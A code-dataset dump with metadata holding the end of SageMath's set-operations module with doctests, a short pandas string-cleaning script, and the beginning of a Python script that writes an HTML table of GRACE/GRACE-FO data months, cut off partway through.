rich_to_bool(op, 0)\n        return rich_to_bool(op, -1)\n\n    def __iter__(self):\n        \"\"\"\n        Return iterator over the elements of ``self``.\n\n        EXAMPLES::\n\n            sage: [x for x in Set(GF(3)).union(Set(GF(2)))]\n            [0, 1, 2, 0, 1]\n        \"\"\"\n        for x in self._X:\n            yield x\n        for y in self._Y:\n            yield y\n\n    def __contains__(self, x):\n        \"\"\"\n        Return ``True`` if ``x`` is an element of ``self``.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(3)).union(Set(GF(2)))\n            sage: GF(5)(1) in X\n            False\n            sage: GF(3)(2) in X\n            True\n            sage: GF(2)(0) in X\n            True\n            sage: GF(5)(0) in X\n            False\n        \"\"\"\n        return x in self._X or x in self._Y\n\n    def cardinality(self):\n        \"\"\"\n        Return the cardinality of this set.\n\n        EXAMPLES::\n\n            sage: X = Set(GF(3)).union(Set(GF(2)))\n            sage: X\n            {0, 1, 2, 0, 1}\n            sage: X.cardinality()\n            5\n\n            sage: X = Set(GF(3)).union(Set(ZZ))\n            sage: X.cardinality()\n            +Infinity\n        \"\"\"\n        return self._X.cardinality() + self._Y.cardinality()\n\nclass Set_object_intersection(Set_object_binary):\n    \"\"\"\n    Formal intersection of two sets.\n    \"\"\"\n    def __init__(self, X, Y):\n        r\"\"\"\n        Initialize ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(QQ^2)\n            sage: T = Set(ZZ)\n            sage: X = S.intersection(T); X\n            Set-theoretic intersection of Set of elements of Vector space of dimension 2 over Rational Field and Set of elements of Integer Ring\n            sage: latex(X)\n            \\Bold{Q}^{2} \\cap \\Bold{Z}\n\n            sage: X = Set(IntegerRange(100)).intersection(Primes())\n            sage: X.is_finite()\n            True\n            sage: TestSuite(X).run()\n        \"\"\"\n        Set_object_binary.__init__(self, X, Y, \"intersection\", \"\\\\cap\")\n\n    def is_finite(self):\n        r\"\"\"\n        Return whether this set is finite.\n\n        EXAMPLES::\n\n            sage: X = Set(IntegerRange(100))\n            sage: Y = Set(ZZ)\n            sage: X.intersection(Y).is_finite()\n            True\n            sage: Y.intersection(X).is_finite()\n            True\n            sage: Y.intersection(Set(QQ)).is_finite()\n            Traceback (most recent call last):\n            ...\n            NotImplementedError\n        \"\"\"\n        if self._X.is_finite():\n            return True\n        elif self._Y.is_finite():\n            return True\n        raise NotImplementedError\n\n    def __richcmp__(self, right, op):\n        r\"\"\"\n        Try to compare ``self`` and ``right``.\n\n        .. NOTE::\n\n           Comparison is basically not implemented, or rather it could\n           say sets are not equal even though they are.  I don't know\n           how one could implement this for a generic intersection of\n           sets in a meaningful manner.  So be careful when using this.\n\n        EXAMPLES::\n\n            sage: Y = Set(ZZ).intersection(Set(QQ))\n            sage: X = Set(QQ).intersection(Set(ZZ))\n            sage: X == Y\n            True\n            sage: Y == X\n            True\n\n        This illustrates that equality testing for formal unions\n        can be misleading in general.\n\n        ::\n\n            sage: Set(ZZ).intersection(Set(QQ)) == Set(QQ)\n            False\n        \"\"\"\n        if not isinstance(right, Set_generic):\n            return rich_to_bool(op, -1)\n        if not isinstance(right, Set_object_intersection):\n            return rich_to_bool(op, -1)\n        if self._X == right._X and self._Y == right._Y or \\\n           self._X == right._Y and self._Y == right._X:\n            return rich_to_bool(op, 0)\n        return rich_to_bool(op, -1)\n\n    def __iter__(self):\n        \"\"\"\n        Return iterator through elements of ``self``.\n\n        ``self`` is a formal intersection of `X` and `Y` and this function is\n        implemented by iterating through the elements of `X` and for\n        each checking if it is in `Y`, and if yielding it.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).intersection(Primes())\n            sage: I = X.__iter__()\n            sage: next(I)\n            2\n\n        Check that known finite intersections have finite iterators (see\n        :trac:`18159`)::\n\n            sage: P = Set(ZZ).intersection(Set(range(10,20)))\n            sage: list(P)\n            [10, 11, 12, 13, 14, 15, 16, 17, 18, 19]\n        \"\"\"\n        X = self._X\n        Y = self._Y\n        if not self._X.is_finite() and self._Y.is_finite():\n            X,Y = Y,X\n        for x in X:\n            if x in Y:\n                yield x\n\n    def __contains__(self, x):\n        \"\"\"\n        Return ``True`` if ``self`` contains ``x``.\n\n        Since ``self`` is a formal intersection of `X` and `Y` this function\n        returns ``True`` if both `X` and `Y` contains ``x``.\n\n        EXAMPLES::\n\n            sage: X = Set(QQ).intersection(Set(RR))\n            sage: 5 in X\n            True\n            sage: ComplexField().0 in X\n            False\n\n        Any specific floating-point number in Sage is to finite precision,\n        hence it is rational::\n\n            sage: RR(sqrt(2)) in X\n            True\n\n        Real constants are not rational::\n\n            sage: pi in X\n            False\n        \"\"\"\n        return x in self._X and x in self._Y\n\nclass Set_object_difference(Set_object_binary):\n    \"\"\"\n    Formal difference of two sets.\n    \"\"\"\n    def __init__(self, X, Y):\n        r\"\"\"\n        Initialize ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(QQ)\n            sage: T = Set(ZZ)\n            sage: X = S.difference(T); X\n            Set-theoretic difference of Set of elements of Rational Field and Set of elements of Integer Ring\n            sage: latex(X)\n            \\Bold{Q} - \\Bold{Z}\n\n            sage: TestSuite(X).run()\n        \"\"\"\n        Set_object_binary.__init__(self, X, Y, \"difference\", \"-\")\n\n    def is_finite(self):\n        r\"\"\"\n        Return whether this set is finite.\n\n        EXAMPLES::\n\n            sage: X = Set(range(10))\n            sage: Y = Set(range(-10,5))\n            sage: Z = Set(QQ)\n            sage: X.difference(Y).is_finite()\n            True\n            sage: X.difference(Z).is_finite()\n            True\n            sage: Z.difference(X).is_finite()\n            False\n            sage: Z.difference(Set(ZZ)).is_finite()\n            Traceback (most recent call last):\n            ...\n            NotImplementedError\n        \"\"\"\n        if self._X.is_finite():\n            return True\n        elif self._Y.is_finite():\n            return False\n        raise NotImplementedError\n\n    def __richcmp__(self, right, op):\n        r\"\"\"\n        Try to compare ``self`` and ``right``.\n\n        .. NOTE::\n\n           Comparison is basically not implemented, or rather it could\n           say sets are not equal even though they are.  I don't know\n           how one could implement this for a generic intersection of\n           sets in a meaningful manner.  So be careful when using\n           this.\n\n        EXAMPLES::\n\n            sage: Y = Set(ZZ).difference(Set(QQ))\n            sage: Y == Set([])\n            False\n            sage: X = Set(QQ).difference(Set(ZZ))\n            sage: Y == X\n            False\n            sage: Z = X.difference(Set(ZZ))\n            sage: Z == X\n            False\n\n        This illustrates that equality testing for formal unions\n        can be misleading in general.\n\n        ::\n\n            sage: X == Set(QQ).difference(Set(ZZ))\n            True\n        \"\"\"\n        if not isinstance(right, Set_generic):\n            return rich_to_bool(op, -1)\n        if not isinstance(right, Set_object_difference):\n            return rich_to_bool(op, -1)\n        if self._X == right._X and self._Y == right._Y:\n            return rich_to_bool(op, 0)\n        return rich_to_bool(op, -1)\n\n    def __iter__(self):\n        \"\"\"\n        Return iterator through elements of ``self``.\n\n        ``self`` is a formal difference of `X` and `Y` and this function\n        is implemented by iterating through the elements of `X` and for\n        each checking if it is not in `Y`, and if yielding it.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).difference(Primes())\n            sage: I = X.__iter__()\n            sage: next(I)\n            0\n            sage: next(I)\n            1\n            sage: next(I)\n            -1\n            sage: next(I)\n            -2\n            sage: next(I)\n            -3\n        \"\"\"\n        for x in self._X:\n            if x not in self._Y:\n                yield x\n\n    def __contains__(self, x):\n        \"\"\"\n        Return ``True`` if ``self`` contains ``x``.\n\n        Since ``self`` is a formal intersection of `X` and `Y` this function\n        returns ``True`` if both `X` and `Y` contains ``x``.\n\n        EXAMPLES::\n\n            sage: X = Set(QQ).difference(Set(ZZ))\n            sage: 5 in X\n            False\n            sage: ComplexField().0 in X\n            False\n            sage: sqrt(2) in X     # since sqrt(2) is not a numerical approx\n            False\n            sage: sqrt(RR(2)) in X # since sqrt(RR(2)) is a numerical approx\n            True\n            sage: 5/2 in X\n            True\n        \"\"\"\n        return x in self._X and x not in self._Y\n\nclass Set_object_symmetric_difference(Set_object_binary):\n    \"\"\"\n    Formal symmetric difference of two sets.\n    \"\"\"\n    def __init__(self, X, Y):\n        r\"\"\"\n        Initialize ``self``.\n\n        EXAMPLES::\n\n            sage: S = Set(QQ)\n            sage: T = Set(ZZ)\n            sage: X = S.symmetric_difference(T); X\n            Set-theoretic symmetric difference of Set of elements of Rational Field and Set of elements of Integer Ring\n            sage: latex(X)\n            \\Bold{Q} \\bigtriangleup \\Bold{Z}\n\n            sage: TestSuite(X).run()\n        \"\"\"\n        Set_object_binary.__init__(self, X, Y, \"symmetric difference\", \"\\\\bigtriangleup\")\n\n    def is_finite(self):\n        r\"\"\"\n        Return whether this set is finite.\n\n        EXAMPLES::\n\n            sage: X = Set(range(10))\n            sage: Y = Set(range(-10,5))\n            sage: Z = Set(QQ)\n            sage: X.symmetric_difference(Y).is_finite()\n            True\n            sage: X.symmetric_difference(Z).is_finite()\n            False\n            sage: Z.symmetric_difference(X).is_finite()\n            False\n            sage: Z.symmetric_difference(Set(ZZ)).is_finite()\n            Traceback (most recent call last):\n            ...\n            NotImplementedError\n        \"\"\"\n        if self._X.is_finite():\n            return self._Y.is_finite()\n        elif self._Y.is_finite():\n            return False\n        raise NotImplementedError\n\n    def __richcmp__(self, right, op):\n        r\"\"\"\n        Try to compare ``self`` and ``right``.\n\n        .. NOTE::\n\n           Comparison is basically not implemented, or rather it could\n           say sets are not equal even though they are.  I don't know\n           how one could implement this for a generic symmetric\n           difference of sets in a meaningful manner.  So be careful\n           when using this.\n\n        EXAMPLES::\n\n            sage: Y = Set(ZZ).symmetric_difference(Set(QQ))\n            sage: X = Set(QQ).symmetric_difference(Set(ZZ))\n            sage: X == Y\n            True\n            sage: Y == X\n            True\n\n        \"\"\"\n        if not isinstance(right, Set_generic):\n            return rich_to_bool(op, -1)\n        if not isinstance(right, Set_object_symmetric_difference):\n            return rich_to_bool(op, -1)\n        if self._X == right._X and self._Y == right._Y or \\\n           self._X == right._Y and self._Y == right._X:\n            return rich_to_bool(op, 0)\n        return rich_to_bool(op, -1)\n\n    def __iter__(self):\n        \"\"\"\n        Return iterator through elements of ``self``.\n\n        This function is implemented by first iterating through the elements\n        of `X` and  yielding it if it is not in `Y`.\n        Then it will iterate throw all the elements of `Y` and yielding it if\n        it is not in `X`.\n\n        EXAMPLES::\n\n            sage: X = Set(ZZ).symmetric_difference(Primes())\n            sage: I = X.__iter__()\n            sage: next(I)\n            0\n            sage: next(I)\n            1\n            sage: next(I)\n            -1\n            sage: next(I)\n            -2\n            sage: next(I)\n            -3\n        \"\"\"\n        for x in self._X:\n            if x not in self._Y:\n                yield x\n\n        for y in self._Y:\n            if y not in self._X:\n                yield y\n\n    def __contains__(self, x):\n        \"\"\"\n        Return ``True`` if ``self`` contains ``x``.\n\n        Since ``self`` is the formal symmetric difference of `X` and `Y`\n        this function returns ``True`` if either `X` or `Y` (but not both)\n        contains ``x``.\n\n        EXAMPLES::\n\n            sage: X = Set(QQ).symmetric_difference(Primes())\n            sage: 4 in X\n            True\n            sage: ComplexField().0 in X\n            False\n            sage: sqrt(2) in X      # since sqrt(2) is currently symbolic\n            False\n            sage: sqrt(RR(2)) in X # since sqrt(RR(2)) is currently approximated\n            True\n            sage: pi in X\n            False\n            sage: 5/2 in X\n            True\n            sage: 3 in X\n            False\n        \"\"\"\n        return (x in self._X and x not in self._Y) \\\n               or (x in self._Y and x not in self._X)\n\ndef is_Set(x):\n    \"\"\"\n    Deprecated. Use ``isinstance(x, Set_generic)`` instead.\n\n    TESTS::\n\n        sage: from sage.sets.set import is_Set\n        sage: is_Set(Primes())\n        doctest:...: DeprecationWarning: Please use isinstance(x, Set_generic)\n        See http://trac.sagemath.org/24443 for details.\n        True\n    \"\"\"\n    from sage.misc.superseded import deprecation\n    deprecation(24443, \"Please use isinstance(x, Set_generic)\")\n    return isinstance(x, Set_generic)\n", "meta": {"hexsha": "fe4d1949ca4497f13dffdfa1cc9b671376fdf462", "size": 48006, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/sets/set.py", "max_stars_repo_name": "ChamanAgrawal/sage", "max_stars_repo_head_hexsha": "5f6d56ba247b352d7d46442e88fa3a027e9f222d", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-06-02T03:16:47.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-15T10:17:19.000Z", "max_issues_repo_path": "src/sage/sets/set.py", "max_issues_repo_name": "ChamanAgrawal/sage", "max_issues_repo_head_hexsha": "5f6d56ba247b352d7d46442e88fa3a027e9f222d", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/sets/set.py", "max_forks_repo_name": "ChamanAgrawal/sage", "max_forks_repo_head_hexsha": "5f6d56ba247b352d7d46442e88fa3a027e9f222d", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-06-02T03:17:08.000Z", "max_forks_repo_forks_event_max_datetime": "2019-06-02T03:17:08.000Z", "avg_line_length": 27.8134414832, "max_line_length": 162, "alphanum_fraction": 0.4984793567, "include": true, "reason": "import sage,from sage", "num_tokens": 12475, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.13477590525944355, "lm_q1q2_score": 0.06004664640477739}}
{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: krakowiakpawel9@gmail.com\n@site: e-smartdata.org\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\n\ns = pd.Series(['Apple', '   Microsoft', np.nan, '  Google  ', 'Anazon'])\n\n# %%\ns = s.str.strip()\n\n# %%\nlower = s.str.lower()\n\n# %%\nupper = s.str.upper()\n\n# %%\nlength = s.str.len()\n\n# %% case\ndf = pd.DataFrame(np.random.rand(10, 2),\n                  columns=['          ID value ', '  Price'])\n\n# %%\ndf.columns = df.columns.str.strip()\n\n# %%\ndf.columns = df.columns.str.lower()\n\n# %%\ndf.columns = df.columns.str.replace(' ', '_')\n", "meta": {"hexsha": "c8e30c4d710d188a9b536ec647b3a83d7b3d8010", "size": 563, "ext": "py", "lang": "Python", "max_stars_repo_path": "07_text_data/01_series.py", "max_stars_repo_name": "krakowiakpawel9/pandas_course", "max_stars_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-05-17T09:39:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-27T23:25:50.000Z", "max_issues_repo_path": "07_text_data/01_series.py", "max_issues_repo_name": "krakowiakpawel9/pandas_course", "max_issues_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "07_text_data/01_series.py", "max_forks_repo_name": "krakowiakpawel9/pandas_course", "max_forks_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-04-01T15:47:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-20T18:31:55.000Z", "avg_line_length": 14.8157894737, "max_line_length": 72, "alphanum_fraction": 0.5506216696, "include": true, "reason": "import numpy", "num_tokens": 158, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.32082128783705344, "lm_q2_score": 0.18713268669577832, "lm_q1q2_score": 0.060036149542147435}}
{"text": "#!/usr/bin/env python\nu\"\"\"\ngrace_months_html.py\nWritten by Tyler Sutterley (10/2020)\n\nCreates a html file with the start and end days for each dataset\nShows the range of each month for CSR/GFZ/JPL (RL06) and GSFC (rl06v1.0)\nShows which months are missing for each dataset as **missing**\n\nSimilar to ftp://podaac.jpl.nasa.gov/allData/tellus/L3/Doc/GraceMonths.html\n    ftp://podaac.jpl.nasa.gov/allData/tellus/L3/Doc/gracemonths_20160112.html\n\nINPUTS:\n    base_dir: Working data directory for GRACE/GRACE-FO data\n\nOPTIONS:\n    DREL: GRACE/GRACE-FO data release (RL06,rl06v1.0)\n\nOUTPUTS:\n    GRACE_months.txt\n    Column 1: GRACE Month Number\n    Column 2: Calendar Date\n    Column 3: CSR RL06 Date Range\n    Column 4: GFZ RL06 Date Range\n    Column 5: GSFC rl06v1.0 Date Range\n    Column 6: JPL RL06 Date Range\n\nCOMMAND LINE OPTIONS:\n    --help: list the command line options\n    -D X, --directory=X: Working GRACE/GRACE-FO data directory\n    -R X, --release=X: GRACE/GRACE-FO data releases to run (RL06,rl06v1.0)\n\nPYTHON DEPENDENCIES:\n    numpy: Scientific Computing Tools For Python (https://numpy.org)\n\nUPDATE HISTORY:\n    Updated 03/2021: added options for GSFC Release-6 Version 1.0\n    Updated 10/2020: use argparse to set command line parameters\n    Updated 09/2020: add link to plain text table\n    Updated 08/2020: using git lfs for image storage\n    Updated 06/2020: use full calendar years to not require local dependencies\n    Updated 03/2020: local import of required dependencies\n    Updated 02/2020: add favicon to html header\n    Updated 10/2019: no longer show Release-5 data by default\n    Updated 06/2019: added notes for GRACE-FO data\n    Updated 04/2019: set default releases for each data center\n    Updated 07/2018: link images if hovering over a GRACE month for a center\n        add navigation side bar and symbols to footer. include Wahr et al. 2015\n        added column for GSFC mascon solutions between GFZ and JPL harmonics\n    Updated 05/2018: added options for release 6\n    Updated 09/2017: added more metadata to output html file\n    Updated 05-06/2016: using __future__ print function. format month lines\n        Highlight table rows on mouse hover\n    Forked 04/2016: forked for HTML table creation\n    Updated 03/2016: using getopt to set RL04 parameter, added new help module\n        forked for markdown table creation\n    Updated 10/2015: cleaned up and added a few comments\n    Updated 11/2014: minor updates to code. added main definition\n    Updated 10/2014: updated comments, current Sean Geocenter file\n    Updated 05/2014: added OPTION to not run RL04\n    Updated 07/2013: minor update: new Sean geocenter file\n        moved geocenter files to grace.dir/geocenter.dir/\n    Updated 05/2013: converted to Python and added years to month label\n    Updated 03/2013: changed degree 1 to show both RL04 and RL05\n    Updated 02/2013: new degree 1 file from Sean Swenson\n        Changed to read from ascii files created from grace_date.pro\n    Updated 11/2012: added DEG1 and SLR outputs\n    Written 07/2012\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport inspect\nimport argparse\nimport numpy as np\nimport calendar,time\n\n#-- PURPOSE: create HTML file of GRACE \"nominal\" months\ndef grace_months(base_dir, DREL=['RL06','rl06v1.0']):\n\n    #-- Opening output GRACE months HTML file\n    filename = inspect.getframeinfo(inspect.currentframe()).filename\n    filepath = os.path.dirname(os.path.abspath(filename))\n    fid = open(os.path.join(filepath,'GRACE-Months.html'), 'w')\n\n    #-- Initial parameters\n    #-- processing centers\n    PROC = ['CSR', 'GFZ', 'JPL', 'GSFC']\n    #-- read from GSM datasets\n    DSET = 'GSM'\n    #-- maximum month of the datasets\n    #-- checks for the maximum month between processing centers\n    max_mon = 0\n    #-- contain the information for each dataset\n    var_info = {}\n\n    #-- Looping through data releases first (all RL04 then all RL05)\n    #-- for each considered data release (RL04,RL05)\n    for rl in DREL:\n        #-- for each processing centers (CSR, GFZ, JPL)\n        for pr in PROC:\n            #-- Setting the data directory for processing center and release\n            grace_dir = os.path.join(base_dir,pr,rl,DSET)\n            #-- read GRACE date ascii file\n            #-- file created in read_grace.py or grace_dates.py\n            grace_date_file = '{0}_{1}_DATES.txt'.format(pr,rl)\n            if os.access(os.path.join(grace_dir,grace_date_file), os.F_OK):\n                #-- skip the header line\n                date_input = np.loadtxt(os.path.join(grace_dir,grace_date_file),\n                    skiprows=1)\n                #-- number of months\n                nmon = np.shape(date_input)[0]\n\n                #-- Setting the dictionary key e.g. 'CSR RL04'\n                var_name = '{0} {1}'.format(pr,rl)\n\n                #-- Creating a python dictionary for each dataset with parameters:\n                #-- month #, start year, start day, end year, end day\n                #-- Purpose is to get all of the dates loaded for each dataset\n                #-- Adding data to dictionary for data processing and release\n                var_info[var_name] = {}\n                #-- allocate for output variables\n                var_info[var_name]['mon'] = np.zeros((nmon),dtype=np.int)\n                var_info[var_name]['styr'] = np.zeros((nmon),dtype=np.int)\n                var_info[var_name]['stday'] = np.zeros((nmon),dtype=np.int)\n                var_info[var_name]['endyr'] = np.zeros((nmon),dtype=np.int)\n                var_info[var_name]['endday'] = np.zeros((nmon),dtype=np.int)\n                #-- place output variables in dictionary\n                for i,key in enumerate(['mon','styr','stday','endyr','endday']):\n                    #-- first column is date in decimal form (start at 1 not 0)\n                    var_info[var_name][key] = date_input[:,i+1].astype(np.int)\n                #-- Finding the maximum month measured\n                if (var_info[var_name]['mon'].max() > max_mon):\n                    #-- if the maximum month in this dataset is greater\n                    #-- than the previously read datasets\n                    max_mon = np.int(var_info[var_name]['mon'].max())\n\n    #-- print HTML headers\n    print('<!DOCTYPE html>', file=fid)\n    print('<html>', file=fid)\n    print('\\t<head>', file=fid)\n    print('\\t<meta charset=\"utf-8\">', file=fid)\n    print('\\t<meta name=\"author\" content=\"Tyler Sutterley\">', file=fid)\n    print('\\t<meta name=\"viewport\" content=\"width=device-width\">', file=fid)\n    print('\\t<title>GRACE/GRACE-FO Months</title>', file=fid)\n    print('\\t<link rel=\"icon\" href=\"../assets/img/favicon.ico\" type=\"image/x-icon\"/>', file=fid)\n    print('\\t<link rel=\"stylesheet\" href=\"../assets/css/styles.css\">', file=fid)\n    print('\\t<link rel=\"stylesheet\" href=\"../assets/css/font-awesome.min.css\">', file=fid)\n    print('\\t<link rel=\"stylesheet\" href=\"../assets/css/academicons.min.css\">', file=fid)\n    print('\\t<style>', file=fid)\n    print('\\t\\ttable {', file=fid)\n    print('\\t\\t\\twidth:auto;', file=fid)\n    print('\\t\\t\\tborder-collapse: collapse;', file=fid)\n    print('\\t\\t\\tborder: 2px solid black;', file=fid)\n    print('\\t\\t\\t}', file=fid)\n    print('\\t\\ttable.ref {', file=fid)\n    print('\\t\\t\\twidth:auto;', file=fid)\n    print('\\t\\t\\tborder: None;', file=fid)\n    print('\\t\\t\\tmargin:0 0 20px;', file=fid)\n    print('\\t\\t\\tcounter-reset: rowNumber;', file=fid)\n    print('\\t\\t\\t}', file=fid)\n    print('\\t\\ttd.ref {', file=fid)\n    print('\\t\\t\\ttext-align:left;', file=fid)\n    print('\\t\\t\\tpadding:5px 10px;', file=fid)\n    print('\\t\\t\\tborder-bottom:1px solid #e5e5e5;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\ttr.ref {', file=fid)\n    print('\\t\\t\\ttext-align:left;', file=fid)\n    print('\\t\\t\\tpadding:5px 10px;', file=fid)\n    print('\\t\\t\\tborder-bottom:1px solid #e5e5e5;', file=fid)\n    print('\\t\\t\\tcounter-increment: rowNumber;',file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\ttable.ref tr.ref td.ref:first-child::before {', file=fid)\n    print('\\t\\t\\tcontent: \"[\" counter(rowNumber) \"]\";',file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\tth {', file=fid)\n    print('\\t\\t\\tbackground-color: #222;', file=fid)\n    print('\\t\\t\\tcolor: white;', file=fid)\n    print('\\t\\t\\tpadding: 5px;', file=fid)\n    print('\\t\\t\\tborder-bottom: 2px solid black;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\ttd {', file=fid)\n    print('\\t\\t\\tpadding: 5px;', file=fid)\n    print('\\t\\t\\tborder-bottom: 1px solid black;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\ttr.hover:hover {', file=fid)\n    print('\\t\\t\\tbackground-color: #fffbcc;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\tspan.hover {', file=fid)\n    print('\\t\\t\\tposition: fixed;', file=fid)\n    print('\\t\\t\\tvisibility: hidden;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t\\ttd.hover:hover span {', file=fid)\n    print('\\t\\t\\tvisibility: visible;', file=fid)\n    print('\\t\\t\\ttop:15%; left:50%;', file=fid)\n    print('\\t\\t\\tz-index:1;', file=fid)\n    print('\\t\\t}', file=fid)\n    print('\\t</style>', file=fid)\n    print('\\t</head>', file=fid)\n    print('\\t<body id=\"preview\" onload=\"lfsmedia()\">', file=fid)\n    print('\\t\\t<div id=\"Sidenav\" class=\"sidenav\">', file=fid)\n    print('\\t\\t\\t<a href=\"javascript:void(0)\" class=\"closebtn\" onclick=\"closeNav()\">&times;</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../index.html\">Home</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../references/publications.html\">Publications</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../references/presentations.html\">Presentations</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../references/datasets.html\">Datasets</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../references/documentation.html\">Documentation</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../references/Sutterley_Tyler.pdf\">Curriculum Vitae</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../news/index.html\">News</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../resources/index.html\">Resources</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../animations/greenland.html\">GRACE Greenland Animation</a>', file=fid)\n    print('\\t\\t\\t<a href=\"../animations/antarctica.html\">GRACE Antarctic Animation</a>', file=fid)\n    print(('\\t\\t</div>\\n\\t\\t<span style=\"font-size:20px;cursor:pointer\" '\n        'onclick=\"openNav()\">&#9776;</span>'), file=fid)\n    print('\\t\\t<table>', file=fid)\n    #-- print table header\n    print('\\t\\t<thead>', file=fid)\n    print('\\t\\t<tr>', file=fid)\n    print('\\t\\t\\t<th style=\"text-align:center\">Month</th>', file=fid)\n    print('\\t\\t\\t<th style=\"text-align:center\">Date</th>', file=fid)\n    #-- sort datasets alphanumerically\n    var_name = sorted(var_info.keys())\n    for v in var_name:\n        print('\\t\\t\\t<th style=\"text-align:center\">{0}</th>'.format(v),file=fid)\n    print('\\t\\t</tr>', file=fid)\n    print('\\t\\t</thead>', file=fid)\n    #-- print table body\n    print('\\t\\t<tbody>', file=fid)\n    #-- for each possible month\n    #-- GRACE starts at month 004 (April 2002)\n    #-- max_mon+1 to include max_mon\n    for m in range(4, max_mon+1):\n        #-- finding the month name e.g. Apr\n        calendar_year = 2002 + (m-1)//12\n        calendar_month = (m-1) % 12 + 1\n        month_string = calendar.month_abbr[calendar_month]\n        #-- printing table lines to file\n        print('\\t\\t<tr class=\"hover\">',file=fid)\n        print('\\t\\t\\t<td style=\"text-align:center\">{0:03d}</td>'.format(m),\n            file=fid)\n        print('\\t\\t\\t<td style=\"text-align:center\">{0}{1:4d}</td>'.format(\n            month_string,calendar_year), file=fid)\n        #-- for each processing center and data release\n        for var in var_name:\n            #-- split var name for data processing center and release\n            PROC,DREL = var.split()\n            #-- find if the month of data exists\n            #-- exists will be greater than 0 if there is a match\n            exists = np.count_nonzero(var_info[var]['mon'] == m)\n            if (exists != 0):\n                #-- if there is a matching month\n                #-- indice of matching month\n                ind, = np.nonzero(var_info[var]['mon'] == m)\n                #-- start date\n                st_yr, = var_info[var]['styr'][ind]\n                st_day, = var_info[var]['stday'][ind]\n                #-- end date\n                end_yr, = var_info[var]['endyr'][ind]\n                end_day, = var_info[var]['endday'][ind]\n                #-- output table element is the date range\n                #-- string format: 2002_102--2002_120\n                args = (st_yr, st_day, end_yr, end_day)\n                print(('\\t\\t\\t<td class=\"hover\" style=\"text-align:center\">'\n                    '{0:4d}_{1:03d}&ndash;{2:4d}_{3:03d}').format(*args),file=fid)\n                print('\\t\\t\\t\\t<span class=\"hover\">',file=fid)\n                src = '{0}-{1}-{2:03d}.jpg'.format(PROC,DREL,m)\n                print('\\t\\t\\t\\t\\t<img class=\"lfs\" data-path=\"images/{0}\">'.format(src),file=fid)\n                print('\\t\\t\\t\\t</span>',file=fid)\n                print('\\t\\t\\t</td>', file=fid)\n            else:\n                #-- if there is no matching month: missing or not yet processed\n                print(('\\t\\t\\t<td class=\"hover\" style=\"text-align:center\">'\n                    '<b>**missing**</b></td>'), file=fid)\n        #-- end of table row\n        print('\\t\\t</tr>', file=fid)\n    #-- print table body footer text\n    print('\\t\\t</tbody>', file=fid)\n    print('\\t\\t</table>', file=fid)\n\n\n    #-- print references\n    print('\\n\\t\\t<div style=\"width:860px\">', file=fid)\n    print('\\t\\t<p><em>GRACE/GRACE-FO anomalies for harmonic solutions are calculated in reference to the 2003'\n        '&#8211;2010 mean\\n\\t\\tand are smoothed using a 350km radius Gaussian filter', file=fid)\n    print(('''\\t\\t<a href=\"#Wahr:1998hy\" onmouseover=\"HighlightRow('Wahr:1998hy')\"\\n'''\n        '''\\t\\t\\tonmouseout=\"UnhighlightRow('Wahr:1998hy')\">'''\n        '(Wahr&nbsp;et&nbsp;al.,&nbsp;1998)</a>'), file=fid)\n    print('\\t\\tafter destriping with a decorrelation algorithm ', file=fid)\n    print(('''\\t\\t<a href=\"#Swenson:2006hu\" onmouseover=\"HighlightRow('Swenson:2006hu')\"\\n'''\n        '''\\t\\t\\tonmouseout=\"UnhighlightRow('Swenson:2006hu')\">'''\n        '(Swenson&nbsp;and&nbsp;Wahr,&nbsp;2006)</a>.'), file=fid)\n    #-- pole tide drift if showing Release-5 products\n    if ('RL05' in DREL):\n        print(('\\t\\tGRACE Release-5 data products are corrected for pole tide '\n            'drift following '), file=fid)\n        print(('''\\t\\t<a href=\"#Wahr:2015dg\" onmouseover=\"HighlightRow('Wahr:2015dg')\"\\n'''\n            